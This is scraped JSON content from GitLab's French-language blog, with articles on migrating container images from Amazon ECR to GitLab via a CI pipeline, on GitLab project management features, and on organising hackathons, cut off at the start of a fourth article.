[{\"@type\":\"Person\",\"name\":\"Tim Rizzi\"}],\n        \"datePublished\": \"2025-02-13\",\n      }\n                  ",{"title":1718,"description":1719,"authors":1724,"heroImage":1720,"date":1725,"body":1726,"category":825,"tags":1727,"updatedDate":1500},[846],"2025-02-13","« Nous devons migrer des centaines d'images de conteneurs d'Amazon Elastic Container Registry (ECR) vers GitLab. Pouvez-vous nous aider ? » Cette question revenait sans cesse lors de nos échanges avec des ingénieurs de plateforme. En pleine modernisation de leur chaîne d'outils DevSecOps avec GitLab, ils se retrouvaient bloqués au moment de déplacer leurs images de conteneurs. D’un point de vue technique, chaque transfert est simple. Mais, l'opération était longue et fastidieuse en raison du volume considérable d'images.\n\nUn ingénieur de plateforme a parfaitement résumé la situation : « Je connais parfaitement le processus : effectuer un pull, retagger, effectuer un push. Le problème, c'est que je gère 200 microservices, chacun contenant plusieurs tags. Je ne peux pas passer plusieurs semaines sur cette migration alors que j'ai des tâches critiques à effectuer au niveau de l'infrastructure. »\n\n## Le défi\n\nCette conversation nous a fait réfléchir et a donné naissance à une idée. Et si nous pouvions automatiser l'ensemble du processus ? Lorsqu'une équipe de plateforme DevOps transfère ses [pipelines CI/CD](https://about.gitlab.com/fr-fr/topics/ci-cd/cicd-pipeline/ \"Qu'est-ce qu'un pipeline CI/CD ?\") vers GitLab, la migration des images de conteneurs ne devrait pas poser de difficulté particulière. Le processus manuel est rudimentaire, mais répétitif : il s'agit d'effectuer un pull de chaque image, de la retagger et d'effectuer un push pour la migrer vers le registre de conteneurs de GitLab. Réaliser cette même opération pour des dizaines de dépôts et plusieurs tags par image requiert des jours ou des semaines de travail chronophage.\n\n## La solution\n\nNous avons donc entrepris de créer un pipeline GitLab qui effectuerait automatiquement cette lourde tâche. L'objectif était clair : fournir aux ingénieurs de plateforme un outil qu'ils pourraient configurer en quelques minutes et qui, en une seule nuit, parviendrait à migrer toutes leurs images.\n\n### Configuration des accès\n\nCommençons par l'essentiel : les aspects liés à la sécurité. Nous voulions nous assurer que les équipes puissent exécuter cette migration avec un minimum d'autorisations sur AWS. Voici la politique de gestion des identités et des accès (IAM) en lecture seule dont vous avez besoin :\n\n```json\n{\n    \"Version\": \"2012-10-17\",\n    \"Statement\": [\n        {\n            \"Effect\": \"Allow\",\n            \"Action\": [\n                \"ecr:GetAuthorizationToken\",\n                \"ecr:BatchCheckLayerAvailability\",\n                \"ecr:GetDownloadUrlForLayer\",\n                \"ecr:DescribeRepositories\",\n                \"ecr:ListImages\",\n                \"ecr:DescribeImages\",\n                \"ecr:BatchGetImage\"\n            ],\n            \"Resource\": \"*\"\n        }\n    ]\n}\n```\n\n### Configuration de GitLab\n\nUne fois la sécurité en place, l'étape suivante consiste à configurer GitLab. Nous avons volontairement réduit cela au strict minimum : il vous suffit de configurer les variables suivantes dans les paramètres CI/CD de votre projet :\n\n```\nAWS_ACCOUNT_ID: Your AWS account number\nAWS_DEFAULT_REGION: Your ECR region\nAWS_ACCESS_KEY_ID: [Masked]\nAWS_SECRET_ACCESS_KEY: [Masked]\nBULK_MIGRATE: true\n```\n\n### Le pipeline de migration \n\nPassons maintenant à la partie la plus intéressante. Nous avons créé le pipeline en utilisant Docker-in-Docker pour gérer toutes les opérations liées aux images de manière fiable :\n\n```yaml\nimage: docker:20.10\nservices:\n  - docker:20.10-dind\n\nbefore_script:\n  - apk add --no-cache aws-cli jq\n  - aws sts get-caller-identity\n  - aws ecr get-login-password | docker login --username AWS --password-stdin\n  - docker login -u ${CI_REGISTRY_USER} -p ${CI_REGISTRY_PASSWORD} ${CI_REGISTRY}\n```\n\nLe pipeline fonctionne en trois phases, chacune s'appuyant sur la précédente :\n\n1. Identification\n\nDans un premier temps, il détecte l'ensemble de vos dépôts :\n\n```bash\nREPOS=$(aws ecr describe-repositories --query 'repositories[*].repositoryName' --output text)\n```\n\n2. Énumération des tags\n\nEnsuite, pour chaque dépôt, il récupère l'ensemble des tags :\n\n```bash\nTAGS=$(aws ecr describe-images --repository-name $repo --query 'imageDetails[*].imageTags[]' --output text)\n```\n\n3. Transfert\n\nEnfin, il gère la migration proprement dite :\n\n```bash\ndocker pull ${AWS_ACCOUNT_ID}.dkr.ecr.${AWS_DEFAULT_REGION}.amazonaws.com/${repo}:${tag}\ndocker tag ${AWS_ACCOUNT_ID}.dkr.ecr.${AWS_DEFAULT_REGION}.amazonaws.com/${repo}:${tag} ${CI_REGISTRY_IMAGE}/${repo}:${tag}\ndocker push ${CI_REGISTRY_IMAGE}/${repo}:${tag}\n```\n\n## Résultats\n\nVoici ce que cette solution offre comme avantages aux ingénieurs de plateforme qui ne veulent pas passer plusieurs semaines sur la migration :\n\n- Identification et migration automatisées de l'ensemble des dépôts et tags\n- Dénomination cohérente des images entre ECR et GitLab\n- Gestion des échecs de transferts\n- Journalisation claire pour suivre la progression\n\nAu lieu d'écrire des scripts et de surveiller la migration, l'ingénieur de plateforme peut se concentrer sur des tâches à plus grande valeur ajoutée.\n\n## Utilisation\n\nLa première étape est très simple :\n\n1. Copiez le fichier `.gitlab-ci.yml` dans votre dépôt.\n2. Configurez les variables AWS et GitLab.\n3. Définissez `BULK_MIGRATE` sur « true » pour déclencher la migration.\n\n## Bonnes pratiques\n\nEn accompagnant plusieurs équipes dans leur migration, nous avons tiré quelques enseignements pratiques :\n\n- Exécutez la migration en dehors des heures de pointe pour réduire au maximum l'impact sur votre équipe.\n- Consultez les logs de pipeline qui vous indiqueront si un élément nécessite votre attention.\n- Ne désactivez pas votre registre ECR avant d'avoir vérifié que toutes les images ont bien été transférées.\n- Pour les migrations à grande échelle, envisagez d'ajouter une limite de débit pour éviter de saturer votre réseau.\n\nNous mettons ce pipeline à disposition en open source dans notre dépôt GitLab public, car nous sommes convaincus que les ingénieurs de plateforme devraient passer leur temps à créer de la valeur, plutôt qu'à copier des images de conteneurs. N'hésitez pas à l'adapter à vos besoins ou à poser vos questions sur sa mise en œuvre. Consultez notre documentation pour en savoir plus sur les [catalogues CI/CD](https://gitlab.com/explore/catalog/components/package \"Catalogues CI/CD\"). ",[110,700,1069,1067,676,1708],{"slug":1729,"featured":92,"template":683},"automating-container-image-migration-from-amazon-ecr-to-gitlab","content:fr-fr:blog:automating-container-image-migration-from-amazon-ecr-to-gitlab.yml","Automating Container Image Migration From Amazon Ecr To Gitlab","fr-fr/blog/automating-container-image-migration-from-amazon-ecr-to-gitlab.yml","fr-fr/blog/automating-container-image-migration-from-amazon-ecr-to-gitlab",{"_path":1735,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":1736,"content":1742,"config":1747,"_id":1749,"_type":16,"title":1750,"_source":17,"_file":1751,"_stem":1752,"_extension":20},"/fr-fr/blog/getting-started-with-gitlab-mastering-project-management",{"title":1737,"description":1738,"ogTitle":1737,"ogDescription":1738,"noIndex":6,"ogImage":1739,"ogUrl":1740,"ogSiteName":841,"ogType":842,"canonicalUrls":1740,"schema":1741},"Premiers pas avec GitLab : comment maîtriser la gestion de projet","Découvrez les principales fonctionnalités de gestion de projet de GitLab et apprenez à les utiliser pour optimiser votre organisation et votre suivi.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097294/Blog/Hero%20Images/Blog/Hero%20Images/blog-getting-started-with-gitlab-banner-0497-option4-fy25_cFwd8DYFLekdnOLmbbChp_1750097293924.png","https://about.gitlab.com/blog/getting-started-with-gitlab-mastering-project-management","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Premiers pas avec GitLab : comment maîtriser la gestion de projet\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"GitLab\"}],\n        \"datePublished\": \"2025-02-11\",\n      }\n                  ",{"title":1737,"description":1738,"authors":1743,"heroImage":1739,"date":1744,"body":1745,"category":676,"tags":1746,"updatedDate":1685},[1295],"2025-02-11","*Bienvenue dans notre nouvelle série d'articles de blog baptisée « Premiers pas avec GitLab », dans laquelle nous aidons les nouveaux utilisateurs à se familiariser avec la plateforme [DevSecOps](https://about.gitlab.com/fr-fr/topics/devsecops/ \"Qu'est-ce que DevSecOps ?\") de GitLab.*\n\nGitLab est bien plus qu'une simple plateforme de stockage de code. Il s'agit d'une plateforme DevSecOps alimentée par l'IA qui offre des outils pour vous aider à planifier, à organiser, à suivre et à livrer avec succès vos projets. Découvrez dans cet article les principales fonctionnalités de gestion de projet de GitLab et comment en tirer parti efficacement.\n\n## Pourquoi utiliser GitLab pour la gestion de projet ?\n\nImaginez que votre dépôt de code, votre gestionnaire de suivi des tickets et votre plateforme de communication soient intégrés au sein d'une seule et même plateforme. C'est la puissance de GitLab. En centralisant toutes les fonctionnalités, vous pouvez simplifier votre workflow, améliorer la collaboration et faire avancer vos projets. Vous n'avez plus besoin de passer d'un outil à l'autre et vous ne risquez plus de perdre la trace des informations. GitLab regroupe tout au même endroit, ce qui facilite la gestion de vos projets du début à la fin.\n\n## Quels sont les composants clés de la gestion de projet GitLab ? \n\nDécomposons les éléments essentiels :\n\n* [Epics](https://docs.gitlab.com/ee/user/group/epics/) : les epics vous offrent une vue d'ensemble de votre projet, regroupant les fonctionnalités majeures, ses objectifs globaux et ses initiatives à long terme. Par exemple, si vous prévoyez de refondre votre site web, vous pouvez créer un epic. Les epics vous aident à organiser votre travail en segments plus grands et gérables.  \n* [Tickets](https://docs.gitlab.com/ee/user/project/issues/) : les tickets sont les tâches ou éléments de travail individuels qui contribuent aux objectifs de votre projet. Chaque ticket représente une action spécifique, comme « concevoir la page d'accueil » ou « rédiger la page \"À propos\" ». Les tickets sont les éléments de base de votre projet. Ils fournissent un moyen clair de suivre chaque tâche.  \n* [Labels](https://docs.gitlab.com/ee/user/project/labels.html) : les labels sont comme des tags qui vous aident à catégoriser et à filtrer vos tâches. Vous pouvez utiliser des labels pour indiquer la priorité (par exemple, élevée, moyenne, faible), le statut (par exemple, « À traiter », « En cours », « Terminé ») ou attribuer des tickets à des équipes ou des membres d'équipe en particulier. Les labels offrent un moyen flexible d'organiser et de hiérarchiser vos tâches.  \n* Tableaux : les tableaux des tickets de GitLab constituent votre espace de travail visuel. Ils fournissent une vue de style Kanban de votre projet, ce qui vous permet de voir le statut de tous vos tickets en un coup d'œil. Glissez-déposez les tickets dans différentes listes (par exemple, « À traiter », « En cours », « Terminé ») pour visualiser votre workflow et suivre son avancement. Dans GitLab, vous pouvez créer des tableaux pour des [tickets](https://docs.gitlab.com/ee/user/project/issue_board.html) et des [epics](https://docs.gitlab.com/ee/user/group/epics/epic_boards.html).  \n* [Jalons](https://docs.gitlab.com/ee/user/project/milestones/) : les jalons marquent des points de contrôle importants ou des dates cibles au sein de votre projet. Ils vous aident à suivre votre progression vers les objectifs et les délais que vous vous êtes fixés. Par exemple, vous pouvez vous servir des jalons pour finaliser une fonctionnalité majeure, publier une version bêta ou lancer la version finale d'un produit.  \n* [Tâches](https://docs.gitlab.com/ee/user/tasks.html) : pour des étapes plus détaillées, décomposez vos tickets en tâches plus petites. Vous pouvez ainsi déléguer, clarifier les responsabilités individuelles et garantir que rien n'a été négligé. Les tâches permettent de créer des checklists dans les tickets, ce qui facilite le suivi des tâches complexes.\n\n## Présentation des fonctionnalités\n\n### 1. Epics : bénéficiez d'une vue d'ensemble\n\n* Création d'epics : accédez au menu « Epics » de votre groupe sous « Planification ». Cliquez sur **Nouvel epic**, puis attribuez-lui un titre descriptif et une description claire précisant son objectif. Vous pouvez également spécifier une date de début et de fin de l'epic, ce qui est particulièrement utile pour visualiser les [roadmaps](https://docs.gitlab.com/ee/user/group/roadmap/).\n\n![Page sur la création d'epics](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097301/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750097300817.png)\n\n* [Roadmaps](https://docs.gitlab.com/ee/user/group/roadmap/) : ajoutez vos epics à une roadmap pour visualiser le calendrier et les objectifs à long terme de votre projet. Les roadmaps fournissent une vue d'ensemble de votre projet, avec les échéances prévues et permet de suivre sa progression pour atteindre les principaux jalons.\n\n![Vue de la roadmap](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097301/Blog/Content%20Images/Blog/Content%20Images/image8_aHR0cHM6_1750097300818.png)\n\n### 2. Tickets : gagnez en productivité\n\n* Création de tickets : dans votre projet, accédez au menu « Tickets » sous « Planification » et cliquez sur **Nouveau ticket**. Fournissez un titre concis et descriptif comme « Conception des wireframes de la page d'accueil », attribuez le ticket à un membre de l'équipe, définissez une date d'échéance et ajoutez une description détaillée décrivant les exigences de la tâche.  \n* GitLab Duo : tirez parti de la puissance de [GitLab Duo, notre suite de fonctionnalités alimentée par l'IA pour générer des descriptions détaillées pour vos tickets](https://docs.gitlab.com/ee/user/project/issues/managing_issues.html#populate-an-issue-with-issue-description-generation) en indiquant en quelques mots ce que vous voulez réaliser.  \n* Pondération : estimez l'effort requis pour chaque ticket en lui assignant un poids. Cela facilite la planification et la priorisation. Par exemple, une tâche simple peut avoir un poids de **1**, tandis qu'une tâche plus complexe aura un poids de **5**.\n\n![Ticket auquel un poids de 4 a été attribué](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097301/Blog/Content%20Images/Blog/Content%20Images/image4_aHR0cHM6_1750097300819.png)\n\n### 3. Labels : organisez votre travail\n\n* Création de labels : accédez à l'onglet « Gestion » de votre projet et cliquez sur « Labels ». Créez des labels personnalisés avec des intitulés explicites pour catégoriser vos tickets. Par exemple, créez des labels **Priorité : Élevée**, **Statut : En cours** ou **Équipe : Design**. Appliquez ces labels à vos tickets pour les organiser et les filtrer facilement.\n\n![Écran Labels](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097301/Blog/Content%20Images/Blog/Content%20Images/image6_aHR0cHM6_1750097300820.png)\n\n### 4. Tableaux : visualisez votre workflow\n\n* Tableaux Kanban : les tableaux des tickets de GitLab offrent une vue de style Kanban pour visualiser l'avancement de votre projet. Créez des listes (« À faire », « En cours » et « Terminé ») pour représenter les étapes de votre workflow. Ensuite, glissez-déposez les tickets dans ces listes pour visualiser leur progression.\n* Personnalisation des tableaux : personnalisez vos tableaux en fonction de votre workflow. Ajoutez plus de colonnes, filtrez les tickets par labels ou personnes assignées, et configurez des swimlanes pour catégoriser les tickets par epics ou en fonction d'autres critères.\n\n![Visualiser le workflow avec les tableaux des tickets](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097301/Blog/Content%20Images/Blog/Content%20Images/image2_aHR0cHM6_1750097300820.png)\n\n### 5. Tâches : décomposez votre travail\n\n* Création de tâches : dans un ticket, utilisez la syntaxe Markdown pour créer une checklist afin de créer une liste de tâches. Chaque élément de la liste représente une sous-étape du ticket. Par exemple, dans le ticket « Conception des wireframes de la page d'accueil », vous pouvez avoir des tâches telles que « Esquisser les concepts initiaux », « Créer des wireframes numériques » et « Obtenir le retour des parties prenantes ». Pour créer une tâche, cliquez sur le bouton **Ajouter** dans la section « Éléments enfants » de la page d'un ticket, puis saisissez le titre de la tâche et cliquez sur **Créer une tâche**.\n\n![Ticket avec le bouton Créer une tâche](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097301/Blog/Content%20Images/Blog/Content%20Images/image7_aHR0cHM6_1750097300822.png)\n\n### 6. Jalons : suivez l'avancement de votre projet\n* Spécification des jalons : définissez des jalons pour marquer les étapes importantes de votre projet, comme l'achèvement d'une fonctionnalité spécifique ou l'atteinte d'une échéance clé. Attribuez à chaque jalon un titre précis ainsi que des dates d'échéance.\n* Ajout de relations aux tickets : reliez les tickets et les epics aux jalons pour suivre les progrès vers ces objectifs. Vous pouvez ainsi identifier comment chaque tâche contribue au projet global.\n* Création d'un jalon : dans le menu déroulant « Planification », cliquez sur **Jalons > Nouveau jalon**. Spécifiez le titre, la description et les dates de début et de fin du jalon.\n\n![Écran Nouveau jalon](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097301/Blog/Content%20Images/Blog/Content%20Images/image5_aHR0cHM6_1750097300823.png)\n\n\u003Cbr>\u003C/br>\n\n![Nouvelle page affichant un jalon](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097301/Blog/Content%20Images/Blog/Content%20Images/image3_aHR0cHM6_1750097300823.png)\n\n### 7. Itérations : utilisez les sprints\n\n* Planification d'[itérations](https://docs.gitlab.com/ee/user/group/iterations/) : si vous suivez l'approche Agile pour votre workflow, définissez des itérations (sprints) avec des dates de début et de fin spécifiques. Cette démarche vous permet de décomposer votre travail à intervalles de temps plus courts et plus faciles à gérer.  \n* Attribution des tickets : attribuez des tickets à ces itérations pour planifier votre travail en cycles plus courts et vous concentrer sur la création continue de valeur ajoutée.\n\n### 8. Suivi du temps : mesurez vos efforts\n\n* Consignation des heures : dans un ticket, utilisez l'action rapide « /spend » suivie du temps passé (par exemple, « /spend 2h 30m ») pour consigner votre travail. Vous pouvez ainsi [suivre le temps réel passé sur chaque tâche](https://docs.gitlab.com/ee/user/project/time_tracking.html).  \n* Analyse des données : générez des rapports de suivi du temps pour évaluer l'avancement du projet, mesurer l'efficacité de l'équipe et identifier d'éventuels goulots d'étranglement.\n\n![Rapport de suivi du temps](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097301/Blog/Content%20Images/Blog/Content%20Images/image9_aHR0cHM6_1750097300824.png)\n\n### 9. Dépendances : gérez votre workflow\n\n* [Liaison entre les tickets](https://docs.gitlab.com/ee/user/project/issues/related_issues.html) : créez des dépendances entre les tickets pour vous assurer que les tâches sont effectuées dans le bon ordre. Par exemple, si le ticket A doit être terminé avant que le ticket B ne puisse commencer, vous pouvez créer une dépendance entre les deux. De cette manière, vous visualisez votre workflow et évitez les blocages potentiels.\n\n### 10. Templates : optimisez la création de tickets\n\n* [Création de templates](https://docs.gitlab.com/ee/user/project/description_templates.html) : créez des templates de tickets pour standardiser les informations saisies lors de tâches courantes. Vous gagnez ainsi du temps et garantissez la cohérence. Par exemple, vous pouvez créer un template de rapport de bogue qui inclut des champs reprenant les étapes de reproduction du comportement attendu et du comportement réel.\n\n### La collaboration, la clé d'un projet réussi\n\nGitLab favorise la collaboration grâce aux fonctionnalités suivantes :\n\n* [Commentaires](https://docs.gitlab.com/ee/user/discussions/) : discutez des tickets et des epics directement dans GitLab. Utilisez les commentaires pour informer les équipes de l'avancement du projet, poser des questions et partager vos retours.  \n* [Mentions](https://docs.gitlab.com/ee/user/discussions/#mentions) : utilisez le signe **@** pour mentionner des membres spécifiques de l'équipe et les informer de l'avancement du projet ou demander leur contribution.  \n* Discussions : échangez directement dans le fil de discussion au sein des tickets et epics pour réfléchir à des idées ou pour résoudre des problèmes ensemble et tenir informés tous les participants impliqués.\n\n### Lancez-vous sur GitLab dès aujourd’hui !\n\nMaintenant que vous avez exploré la puissance des fonctionnalités de gestion de projet de GitLab, il est temps de les mettre en pratique ! Créez un exemple de projet, testez différentes fonctionnalités et découvrez comment GitLab peut transformer votre workflow. Consultez notre documentation de GitLab pour en savoir plus sur la mise en place d'un workflow basé sur les méthodes [Kanban](https://docs.gitlab.com/ee/tutorials/kanban/) et [Scrum](https://docs.gitlab.com/ee/tutorials/scrum_events/).\n\n>  #### Vous n'avez pas encore de compte GitLab ? Inscrivez-vous à un [essai gratuit de GitLab Ultimate et GitLab Duo](https://about.gitlab.com/fr-fr/free-trial/) dès aujourd'hui !\n\n## En savoir plus\n- [Premiers pas avec GitLab : comment gérer les utilisateurs](https://about.gitlab.com/fr-fr/blog/getting-started-with-gitlab-how-to-manage-users/)\n- [Premiers pas avec GitLab : comment importer vos projets dans GitLab](https://about.gitlab.com/fr-fr/blog/getting-started-with-gitlab-how-to-import-your-projects-to-gitlab/)\n",[1069,676,1067,1482],{"slug":1748,"featured":6,"template":683},"getting-started-with-gitlab-mastering-project-management","content:fr-fr:blog:getting-started-with-gitlab-mastering-project-management.yml","Getting Started With Gitlab Mastering Project Management","fr-fr/blog/getting-started-with-gitlab-mastering-project-management.yml","fr-fr/blog/getting-started-with-gitlab-mastering-project-management",{"_path":1754,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":1755,"content":1761,"config":1768,"_id":1770,"_type":16,"title":1771,"_source":17,"_file":1772,"_stem":1773,"_extension":20},"/fr-fr/blog/what-is-a-hackathon",{"title":1756,"description":1757,"ogTitle":1756,"ogDescription":1757,"noIndex":6,"ogImage":1758,"ogUrl":1759,"ogSiteName":841,"ogType":842,"canonicalUrls":1759,"schema":1760},"Hackathon : les clés pour une organisation réussie","Découvrez les tenants et aboutissants d'un hackathon et obtenez des astuces pour le mettre en place avec efficacité. Découvrez notre guide détaillé.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749663517/Blog/Hero%20Images/hackathon.jpg","https://about.gitlab.com/blog/what-is-a-hackathon","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Hackathon : les clés pour une organisation réussie\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"GitLab France Team\"}],\n        \"datePublished\": \"2025-02-05\",\n      }",{"title":1756,"description":1757,"authors":1762,"heroImage":1758,"date":1763,"body":1764,"category":928,"tags":1765,"updatedDate":1767},[1232],"2025-02-05","Au fil des années, les hackathons ont gagné en popularité en tant que catalyseurs d'innovation et de collaboration. Dans cet article, nous aborderons l'organisation des hackathons, ainsi que les avantages qu'ils offrent aux participants et aux organisateurs. Explorons ensemble l'univers des hackathons.\n\n> [Participez au prochain hackathon GitLab qui se déroulera du 10 au 17 avril 2025](https://about.gitlab.com/community/hackathon/ \"Hackathon GitLab\"). \n\n## Qu'est-ce qu'un hackathon ?\n\nUn hackathon est un événement collaboratif où des individus se réunissent pour travailler ensemble sur des projets innovants pendant une période définie, allant généralement de quelques heures à quelques jours. Durant un hackathon, les participants forment des équipes pour concevoir, développer et présenter des solutions concrètes à des problèmes spécifiques ou pour explorer de nouvelles idées. \n\n## Quel est l'objectif d'un hackathon ?\n\nL'objectif principal d'un hackathon est de favoriser la créativité, l'apprentissage et l'innovation. C'est un environnement propice à l'expérimentation et à la collaboration entre des personnes aux compétences variées. Mais alors qui organisent généralement les hackathons ? Une multitude d'acteurs peuvent être à l'origine de l'organisation d'un hackathon. Cela peut être des entreprises, des universités, des organisations à but non lucratif ou encore des communautés technologiques.\n\n## Pourquoi organiser un hackathon ?\n\nVous l'avez peut-être déjà remarqué, mais l'intérêt pour les hackathons a connu une croissance significative ces dernières années. Pas étonnant lorsque l'on sait que ces événements offrent aux participants et aux organisateurs un nombre d'avantages importants tant sur le plan de l'innovation que du développement des compétences ou des communautés de professionnels. \n\nEn définitive, que ce soit pour développer de nouvelles idées, identifier des talents émergents ou renforcer les relations professionnelles, un hackathon représente un certain nombre d’avantages. \n\n- **Résolution de problèmes concrets** : les hackathons abordent souvent des défis auxquels sont confrontées les entreprises. Les projets développés lors des hackathons peuvent avoir un impact réel et contribuer à résoudre des problèmes importants qu'elles rencontrent.\n\n- **Stimulation de l'innovation** : de par leur nature, les hackathons encouragent la créativité et l'innovation en offrant un cadre où les personnes participantes peuvent explorer de nouvelles idées, développer des solutions originales et innover. \n\n- **Création de prototypes** : les hackathons fournissent une occasion unique de développer rapidement des prototypes fonctionnels ou des démonstrations de concept. Ainsi, les entreprises gagnent un temps précieux en matière de recherche et de développement, ce qui leur permet d'accélérer la création de logiciels.  \n\n- **Levier marketing** : véritables leviers marketing, les hackathons contribuent à améliorer la notoriété des entreprises. Ces événements permettent de mettre en avant leur expertise, leurs valeurs et leur engagement en faveur de l'innovation. \n\n- **Networking** : les hackathons sont idéaux pour échanger entre professionnels. Ces interactions favorisent l'établissement de contacts précieux et l'ouverture de portes vers des collaborations futures et de potentielles opportunités de recrutement.  \n\nLes participants ne sont pas en reste non plus. Ces derniers tirent également des bénéfices significatifs de leur participation aux hackathons. Bien que les participants ne soient généralement pas rémunérés, les hackathons leur offrent l'opportunité de développer leurs compétences, de se familiariser avec la collaboration interdisciplinaire, d'élargir leur réseau professionnel ou encore de remporter des prix et dotations pour leur participation. \n\n## Comment organiser un hackathon ?\n\nOrganiser un hackathon nécessite une planification minutieuse et une gestion efficace pour garantir le succès de votre événement. Mais alors, comment faire en pratique ? \n\n**Préparation initiale**\n- Une bonne organisation commence toujours par une bonne préparation. Prenez le temps de définir clairement le thème et les objectifs de votre hackathon. Définissez-les de manière simple et concise.\n- Constituez une équipe organisatrice et assurez-vous de définir les rôles et responsabilités de chacun.\n- Définissez un budget précis pour l'organisation du hackathon et prospectez des sponsors potentiels afin de garantir le financement et le rayonnement de votre événement.\n\n**Campagne de communication**\n- Concevez une stratégie de communication pour promouvoir l'événement et recruter les participants. Assurez-vous de mettre en avant à la fois vos valeurs, mais aussi les gains que peuvent ressortir du hackathon pour toutes les parties prenantes.\n- Identifiez les cibles de votre campagne de communication et comment les atteindre. \n- Créez du contenu attrayant sur vos réseaux sociaux pour promouvoir votre évènement et maximiser le recrutement de participants.\n- Contactez des communautés de développeurs pour leur faire savoir que vous organisez un hackathon. Les membres de ces groupes sont très actifs et feront d’excellents alliés pour relayer votre événement. \n\n**Gestion de l'événement et logistique**\n\nPour les hackathons en ligne : \n- Sélectionnez une plateforme adaptée aux hackathons en ligne qui puisse permettre aux candidats de soumettre leur projet et aux juges de suivre l’avancement et l'évaluation des projets.\n- Pensez à choisir et mettre en place des outils de communication efficaces pour faciliter la communication entre les candidats mais aussi les organisateurs. Discord et Slack sont de bons exemples.\n- Fournissez aux participants les ressources nécessaires et assurez vous qu'ils ont bien accès à tous les outils et logiciels requis pour le développement de leurs projets.\n- Mettez en place un support disponible 24/7 pour répondre aux questions et aider les équipes participantes en cas de problème. \n\nPour les hackathons en présentiels : \n- Sélectionnez et aménagez un lieu approprié en fonction du nombre de participants prévus. Définissez clairement vos besoins en termes d'espace et d'équipements pour accueillir confortablement tous les participants.\n- Assurez-vous de fournir une infrastructure technique fiable et adaptée aux besoins du hackathon, comprenant notamment un accès internet robuste, des équipements informatiques nécessaires, et tout autre matériel requis pour les projets.\n- N'oubliez pas de ravitailler les troupes ! Prévoyez des repas et des collations pour les équipes participantes afin de garantir leur confort et leur concentration tout au long de l'événement. \n\n**Suivi des candidats et des projets**\n- Gérez les inscriptions de manière rigoureuse et transparente, en veillant à ce que le processus de sélection des participants soit équitable et bien organisé.\n- Organisez les projets et les sessions de travail en équipe de manière à maximiser la productivité et la créativité des équipes participantes. \n- Définissez clairement les objectifs de chaque projet et assurez-vous que les équipes disposent des ressources nécessaires pour réussir.\n- Fournissez un soutien technique et des conseils professionnels tout au long de l'événement. Soyez disponible pour répondre aux questions, résoudre les problèmes techniques et offrir des idées pour optimiser les résultats des projets.\n\n**Organisation de la finale**\n- Sélectionnez avec soin les projets finalistes qui seront présentés devant un jury d'experts. Qui d'autres de mieux que des experts reconnus pour juger de la qualité des propositions des équipes ?\n- Assurez-vous que les critères de sélection soient clairs et transparents pour garantir l'équité du processus.\n- Planifiez minutieusement la présentation des projets lors de la finale. Définissez un ordre de passage optimal et prévoyez suffisamment de temps pour que chaque équipe puisse présenter son travail de manière complète et convaincante.\n- Animez la finale de manière dynamique. Cela aura pour effet de maintenir un haut niveau d'engagement et d'enthousiasme parmi les équipes participantes, mais aussi les juges et le public. \n\n**Remise des prix**\n- Offrez des prix attrayants qui motivent et récompensent les participants, tels que des bons d’achat, des opportunités de mentorat avec des experts du domaine, ou des ressources matérielles et logicielles pour concrétiser leurs idées.\n- Planifiez et organisez une cérémonie de remise des prix pour mettre en valeur les réalisations des gagnants. \n\n**Suivi post-projet** \n- Faites le plein de feedbacks pertinents. Collectez des retours d'expérience et analysez les résultats pour améliorer vos prochaines éditions. \n\n> Participez au prochain hackathon GitLab qui aura lieu le 10 avril prochain. [Inscrivez-vous dès maintenant](https://about.gitlab.com/community/hackathon/) !   \n\n## FAQ sur les hackathons\n\n### Pourquoi faire un hackathon ?\n\nLes hackathons offrent une opportunité unique de stimuler l'innovation en réunissant des personnes aux compétences diverses pour résoudre des défis de manière collaborative. Ils favorisent le développement de nouvelles idées, la collaboration et l'apprentissage.\n\n### Quels sont les types de hackathon ?\n\nIl existe de nombreux types de hackathons en fonction de leur objectif et de leur domaine d'application. Pour ne citer que quelques exemples, certains hackathons pourront se spécialiser sur des domaines comme le développement logiciel ou encore le design. Chaque type se concentre sur des défis spécifiques et attire des participants ayant des intérêts et des compétences particuliers.\n\n### Un hackathon peut-il être organisé en ligne ?\n\nOui, il est possible de faire un hackathon en ligne en utilisant des plateformes virtuelles et des outils de collaboration. Cette approche permet d'atteindre un public plus large et de faciliter la participation à distance, tout en offrant une expérience similaire à celle d'un hackathon en présentiel.\n",[270,1766,913],"collaboration","2025-03-20",{"slug":1769,"featured":6,"template":683},"what-is-a-hackathon","content:fr-fr:blog:what-is-a-hackathon.yml","What Is A Hackathon","fr-fr/blog/what-is-a-hackathon.yml","fr-fr/blog/what-is-a-hackathon",{"_path":1775,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":1776,"content":1782,"config":1788,"_id":1790,"_type":16,"title":1791,"_source":17,"_file":1792,"_stem":1793,"_extension":20},"/fr-fr/blog/how-to-harmonize-agile-sprints-with-product-roadmaps",{"title":1777,"description":1778,"ogTitle":1777,"ogDescription":1778,"noIndex":6,"ogImage":1779,"ogUrl":1780,"ogSiteName":841,"ogType":842,"canonicalUrls":1780,"schema":1781},"Comment harmoniser les sprints Agile avec les roadmaps produit","Découvrez comment tirer parti de la méthodologie Agile et des fonctionnalités de GitLab à chaque étape du cycle de développement logiciel.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097231/Blog/Hero%20Images/Blog/Hero%20Images/blog-image-template-1800x945%20%2821%29_2pdp2MNB7SoP4MhhiI1WIa_1750097230664.png","https://about.gitlab.com/blog/how-to-harmonize-agile-sprints-with-product-roadmaps","\n                        {\n        \"@context\": \"https://schema.org\",\n        